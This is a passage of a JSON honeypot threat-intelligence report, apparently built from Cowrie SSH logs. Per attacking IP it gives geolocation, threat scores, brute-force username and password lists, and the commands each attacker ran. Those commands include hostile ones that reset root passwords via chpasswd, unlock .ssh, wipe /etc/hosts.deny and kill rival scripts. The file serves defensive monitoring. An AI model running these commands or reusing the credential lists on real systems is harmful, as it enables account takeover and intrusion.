      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3427,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:52:46.583000+00:00",
        "last_seen_30d": "2026-03-30T08:44:02.067000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2303,
        "Suricata": 1124
      }
    },
    "60.244.155.109": {
      "attack_count": 1837,
      "first_seen": "2026-03-07T22:29:38.599Z",
      "last_seen": "2026-03-22T16:07:31.122Z",
      "sessions": 178,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "shawn",
        "backend",
        "ceshi2",
        "crm",
        "dp",
        "friend",
        "live",
        "n8n",
        "newusername",
        "pablo",
        "passbolt",
        "prueba",
        "sftptest",
        "ts3server",
        "ubuntu",
        "user1",
        "Guest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345678",
        "123456",
        "1234",
        "12345",
        "123qweasdzxc",
        "1qw2!QW@",
        "Aa111111.",
        "Aa123456!!!",
        "Abc123",
        "Ami123",
        "Angel123",
        "BMWG&$sg82%*H$*89",
        "Bai123",
        "Dario123!",
        "Guest123!",
        "Harry123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Passbolt123!\\nM1TAx6Rd567q\\nM1TAx6Rd567q\\n\"|passwd",
        "echo \"friend123\\ntpPIYGc4j5CL\\ntpPIYGc4j5CL\\n\"|passwd",
        "echo \"newusername1234\\nEDpuklX78aOL\\nEDpuklX78aOL\\n\"|passwd",
        "echo \"pass123\\nYYbqnwSv80gs\\nYYbqnwSv80gs\\n\"|passwd",
        "echo \"password12345678\\nM9DJwX4mmed4\\nM9DJwX4mmed4\\n\"|passwd",
        "echo \"password\\nQUAoydI3HBQU\\nQUAoydI3HBQU\\n\"|passwd",
        "echo \"password\\ncWZh6FrJ7EPs\\ncWZh6FrJ7EPs\\n\"|passwd",
        "echo \"password\\nugLP6ANU1EOQ\\nugLP6ANU1EOQ\\n\"|passwd",
        "echo \"qwerty\\nYb4QiWHuBZac\\nYb4QiWHuBZac\\n\"|passwd",
        "echo \"root:KIoYvRkEv3Kd\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 7482,
      "as_org": "Asia Pacific On-line Service Inc.",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 2255,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:29:38.599000+00:00",
        "last_seen_30d": "2026-03-22T16:08:33.220000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1837,
        "Suricata": 418
      }
    },
    "103.149.27.208": {
      "attack_count": 759,
      "first_seen": "2026-03-02T20:36:04.124Z",
      "last_seen": "2026-03-21T22:58:29.498Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ahmad",
        "chat",
        "lg",
        "shoutcast",
        "testuser",
        "admin1",
        "administrador",
        "ansible",
        "arma3server",
        "auser",
        "dmdba",
        "escaner",
        "friend",
        "ftpuser1",
        "gateway",
        "jitendra",
        "manish",
        "mastodon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123",
        "1233218613",
        "!@#QWE123",
        "112233445566778899",
        "1234",
        "123456",
        "1qaz@WSX!",
        "Friend123!",
        "Mc123",
        "Pa$$w0rd666",
        "Test123!@",
        "Tt123456",
        "Zxc123123",
        "abc123456@",
        "abcd1234$",
        "ahmad1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n7WFySnq73C5d\\n7WFySnq73C5d\\n\"|passwd",
        "echo \"ahmad1234\\nCilE4Z9P90WJ\\nCilE4Z9P90WJ\\n\"|passwd",
        "echo \"chatpass\\neIqrH4xke87I\\neIqrH4xke87I\\n\"|passwd",
        "echo \"password123\\nTO1pzXgCgM4W\\nTO1pzXgCgM4W\\n\"|passwd",
        "echo \"password\\nY8XxLHQeuiba\\nY8XxLHQeuiba\\n\"|passwd",
        "echo \"root:EnrQYwJ9TSuE\"|chpasswd|bash",
        "echo \"root:kKmHFi2llsgg\"|chpasswd|bash",
        "echo \"root:pRLNlwBKsWK2\"|chpasswd|bash",
        "echo -e \"1234\\n7WFySnq73C5d\\n7WFySnq73C5d\"|passwd|bash",
        "echo -e \"ahmad1234\\nCilE4Z9P90WJ\\nCilE4Z9P90WJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 892,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:36:04.124000+00:00",
        "last_seen_30d": "2026-03-21T22:59:34.660000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 759,
        "Suricata": 133
      }
    },
    "211.219.22.213": {
      "attack_count": 755,
      "first_seen": "2026-03-08T06:43:47.695Z",
      "last_seen": "2026-03-31T19:55:33.726Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appuser",
        "gbase",
        "n",
        "oneadmin",
        "planka",
        "webuser",
        "abdul",
        "allen",
        "angga",
        "arkserver",
        "asus",
        "canon",
        "diego",
        "ec2-user",
        "gw",
        "lcx",
        "rstudio",
        "search"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "password",
        "123123asd",
        "1234",
        "123456yy",
        "1QAZ2wsx3edc",
        "1qaz@WSX123!@#",
        "Admin$1234",
        "Arkserver123!",
        "Ec2-User123",
        "Marlboro",
        "N123",
        "PASswOrd",
        "PAssw0rd",
        "Pa55w0rd@2025",
        "abc123@@",
        "abdul123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n2TA99qAKITLD\\n2TA99qAKITLD\\n\"|passwd",
        "echo \"123456\\nri05bL9rq1nn\\nri05bL9rq1nn\\n\"|passwd",
        "echo \"N123\\n8mHbW4zHGq5K\\n8mHbW4zHGq5K\\n\"|passwd",
        "echo \"appuser\\nWokfQW4Ktd0n\\nWokfQW4Ktd0n\\n\"|passwd",
        "echo \"password\\n0kKt1itwCZ1n\\n0kKt1itwCZ1n\\n\"|passwd",
        "echo \"password\\nhD2MH3tW2x4y\\nhD2MH3tW2x4y\\n\"|passwd",
        "echo \"root:EFS6hewT8oif\"|chpasswd|bash",
        "echo \"root:QX6KTsZUG4le\"|chpasswd|bash",
        "echo -e \"123456\\n2TA99qAKITLD\\n2TA99qAKITLD\"|passwd|bash",
        "echo -e \"123456\\nri05bL9rq1nn\\nri05bL9rq1nn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 887,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:43:47.695000+00:00",
        "last_seen_30d": "2026-03-31T19:56:34.698000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 755,
        "Suricata": 132
      }
    },
    "103.13.206.208": {
      "attack_count": 707,
      "first_seen": "2026-03-08T04:50:54.489Z",
      "last_seen": "2026-03-12T05:24:51.499Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ami",
        "claude",
        "clawd",
        "elearn",
        "ernesto",
        "ljj",
        "root",
        "ubuntu",
        "viewtinet",
        "abdullah",
        "ai",
        "contab",
        "coolify",
        "crafty",
        "db2admin",
        "ftp_test",
        "jino",
        "karim",
        "nfe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "password",
        "123456",
        "12345678",
        "Elearn123",
        "Karim123",
        "Salman123!",
        "Viewtinet123!",
        "admin1!",
        "ami",
        "claude123",
        "contab1234",
        "ernestopass",
        "ftp_test",
        "jino123!",
        "ljj123",
        "nfe123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nWdyPCiLooIMI\\nWdyPCiLooIMI\\n\"|passwd",
        "echo \"Elearn123\\nF0Ox9SmQcMiW\\nF0Ox9SmQcMiW\\n\"|passwd",
        "echo \"Viewtinet123!\\nuNcQJtdZjLra\\nuNcQJtdZjLra\\n\"|passwd",
        "echo \"ami\\nopzXNsx1PbtX\\nopzXNsx1PbtX\\n\"|passwd",
        "echo \"claude123\\n1dbJ6FQ6ISSM\\n1dbJ6FQ6ISSM\\n\"|passwd",
        "echo \"ernestopass\\nPDvKUrH5xXd6\\nPDvKUrH5xXd6\\n\"|passwd",
        "echo \"ljj123\\nbSRYRebj32NW\\nbSRYRebj32NW\\n\"|passwd",
        "echo \"root@123\\n4XmvpyUk56Tu\\n4XmvpyUk56Tu\\n\"|passwd",
        "echo -e \"123456\\nWdyPCiLooIMI\\nWdyPCiLooIMI\"|passwd|bash",
        "echo -e \"Elearn123\\nF0Ox9SmQcMiW\\nF0Ox9SmQcMiW\"|passwd|bash",
        "echo -e \"Viewtinet123!\\nuNcQJtdZjLra\\nuNcQJtdZjLra\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 819,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:50:54.489000+00:00",
        "last_seen_30d": "2026-03-12T05:25:58.431000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 707,
        "Suricata": 112
      }
    },
    "170.64.140.162": {
      "attack_count": 695,
      "first_seen": "2026-03-02T07:50:19.151Z",
      "last_seen": "2026-03-02T09:51:07.824Z",
      "sessions": 138,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup",
        "daemon",
        "debian",
        "dev",
        "developer",
        "docker",
        "dspace",
        "elastic",
        "elasticsearch",
        "es"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "password1",
        "P@ssw0rd123",
        "abc123",
        "admin123",
        "letmein",
        "root123",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1006,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:49:05.105000+00:00",
        "last_seen_30d": "2026-03-02T09:52:13.329000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 695,
        "Suricata": 311
      }
    },
    "193.46.255.86": {
      "attack_count": 631,
      "first_seen": "2026-03-14T04:09:51.472Z",
      "last_seen": "2026-03-31T22:50:26.192Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "1234",
        "ubnt",
        "user",
        "username",
        "pritchard",
        "telecomadmin",
        "telnet",
        "default",
        "",
        "ftp",
        "guest",
        "support",
        "squid",
        "ftpuser",
        "minh",
        "moth3r",
        "vpn",
        "magdalena"
      ],
      "passwords_attempted": [
        "abc123",
        "abcd123",
        "abcd1234",
        "123456",
        "1234",
        "",
        "admin",
        "abc1234",
        "12345",
        "password",
        "Abcd1234",
        "default",
        "ubnt",
        "ubnt1",
        "ubntubnt",
        "1",
        "12345678",
        "5nWt3P-fF4WosQm5O",
        "88888888",
        "aDm8H%MdA"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.5,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 888,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:16:25.138000+00:00",
        "last_seen_30d": "2026-03-31T22:51:35.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 631,
        "Suricata": 257
      }
    },
    "46.26.43.117": {
      "attack_count": 597,
      "first_seen": "2026-03-05T15:26:49.920Z",
      "last_seen": "2026-03-26T07:55:55.222Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "boom",
        "gitlabuser",
        "omega",
        "peer",
        "test",
        "ubuntu",
        "francisco",
        "hduser",
        "hr",
        "jitendra",
        "lan",
        "root",
        "roots",
        "solr",
        "user",
        "zhj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "A123123A",
        "A1234567090",
        "A1234567T",
        "A123456h^",
        "AA@2021",
        "Aa123Aa123",
        "Bb@123456",
        "Boom123!",
        "Jitendra123",
        "Lan123!",
        "Peer123",
        "Yy123456",
        "a12345678910",
        "hr@123",
        "omega123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nBQudm2x4A3ah\\nBQudm2x4A3ah\\n\"|passwd",
        "echo \"A123456h^\\n2JtiZgzSI91j\\n2JtiZgzSI91j\\n\"|passwd",
        "echo \"Bb@123456\\nbQXFsi9QDNdF\\nbQXFsi9QDNdF\\n\"|passwd",
        "echo \"Boom123!\\n5oPEWbReqMnv\\n5oPEWbReqMnv\\n\"|passwd",
        "echo \"Peer123\\nVgQGLogS6Ci7\\nVgQGLogS6Ci7\\n\"|passwd",
        "echo \"Yy123456\\nMgG15WAet2oe\\nMgG15WAet2oe\\n\"|passwd",
        "echo \"omega123!\\nwAPL7kESRf4J\\nwAPL7kESRf4J\\n\"|passwd",
        "echo -e \"1234\\nBQudm2x4A3ah\\nBQudm2x4A3ah\"|passwd|bash",
        "echo -e \"A123456h^\\n2JtiZgzSI91j\\n2JtiZgzSI91j\"|passwd|bash",
        "echo -e \"Bb@123456\\nbQXFsi9QDNdF\\nbQXFsi9QDNdF\"|passwd|bash",
        "echo -e \"Boom123!\\n5oPEWbReqMnv\\n5oPEWbReqMnv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 686,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:26:49.920000+00:00",
        "last_seen_30d": "2026-03-26T07:56:59.905000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 597,
        "Suricata": 89
      }
    },
    "189.190.166.109": {
      "attack_count": 588,
      "first_seen": "2026-03-05T18:36:48.586Z",
      "last_seen": "2026-03-21T08:20:37.852Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "dmdba",
        "hugo",
        "sales1",
        "sql",
        "tomas",
        "vps",
        "abc",
        "ai",
        "alpha",
        "aman",
        "backupuser",
        "dhkim",
        "ethos",
        "excel",
        "grid",
        "iptv",
        "md",
        "mysql"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "12345",
        "123456",
        "Alpha123",
        "Asd12345678",
        "Dmdba123",
        "Excel123!",
        "Pruebas123!",
        "QWERqwer123",
        "Sql123",
        "Vagrant123!",
        "abc@123",
        "ai123",
        "aman",
        "backupuserbackupuser",
        "grid@123",
        "hugohugo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n273jUd2cKnUB\\n273jUd2cKnUB\\n\"|passwd",
        "echo \"Dmdba123\\nWKFkWMiIgdM5\\nWKFkWMiIgdM5\\n\"|passwd",
        "echo \"Sql123\\nFiXLEcklrBNd\\nFiXLEcklrBNd\\n\"|passwd",
        "echo \"hugohugo\\nyffNrbTuQySU\\nyffNrbTuQySU\\n\"|passwd",
        "echo \"root:4WFNjuuzDnNa\"|chpasswd|bash",
        "echo \"tomas@123\\nRqPLjP4J4MzM\\nRqPLjP4J4MzM\\n\"|passwd",
        "echo -e \"12345678\\n273jUd2cKnUB\\n273jUd2cKnUB\"|passwd|bash",
        "echo -e \"Dmdba123\\nWKFkWMiIgdM5\\nWKFkWMiIgdM5\"|passwd|bash",
        "echo -e \"Sql123\\nFiXLEcklrBNd\\nFiXLEcklrBNd\"|passwd|bash",
        "echo -e \"hugohugo\\nyffNrbTuQySU\\nyffNrbTuQySU\"|passwd|bash",
        "echo -e \"tomas@123\\nRqPLjP4J4MzM\\nRqPLjP4J4MzM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 695,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:36:48.586000+00:00",
        "last_seen_30d": "2026-03-21T08:21:39.753000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 588,
        "Suricata": 107
      }
    },
    "103.55.216.2": {
      "attack_count": 571,
      "first_seen": "2026-03-03T08:15:42.133Z",
      "last_seen": "2026-03-17T03:03:01.153Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gw",
        "jason1",
        "ruben",
        "admin1234",
        "ai",
        "ashish",
        "choi",
        "chris",
        "claude",
        "db2admin",
        "def",
        "demon",
        "esuser",
        "facturacion",
        "hamza",
        "kirill",
        "mo",
        "pm2user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
        "!P@ssw0rd",
        "100100100",
        "110110",
        "1225",
        "123",
        "1qaz!qaz",
        "1qaz2WSX3edc",
        "Ashish123!",
        "Bingo@1993",
        "Gw123!",
        "Mo123!",
        "Ruben123",
        "Ubuntu22123!",
        "choi123",
        "claude123",
        "db2admin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Gw123!\\nLqTsryCiUZA1\\nLqTsryCiUZA1\\n\"|passwd",
        "echo \"Ruben123\\ni3ulUtE24HFW\\ni3ulUtE24HFW\\n\"|passwd",
        "echo \"jason1pass\\nh5PaxRXMrn6Z\\nh5PaxRXMrn6Z\\n\"|passwd",
        "echo \"root:1jxyZY2ibIO4\"|chpasswd|bash",
        "echo \"root:mJi6JUDI8lVR\"|chpasswd|bash",
        "echo \"root:rl6oI00JuGkq\"|chpasswd|bash",
        "echo -e \"Gw123!\\nLqTsryCiUZA1\\nLqTsryCiUZA1\"|passwd|bash",
        "echo -e \"Ruben123\\ni3ulUtE24HFW\\ni3ulUtE24HFW\"|passwd|bash",
        "echo -e \"jason1pass\\nh5PaxRXMrn6Z\\nh5PaxRXMrn6Z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 133824,
      "as_org": "Universitas Islam Negeri Alauddin Makasar",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 673,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:15:42.133000+00:00",
        "last_seen_30d": "2026-03-17T03:04:03.060000+00:00",
        "days_since_last_seen": 14
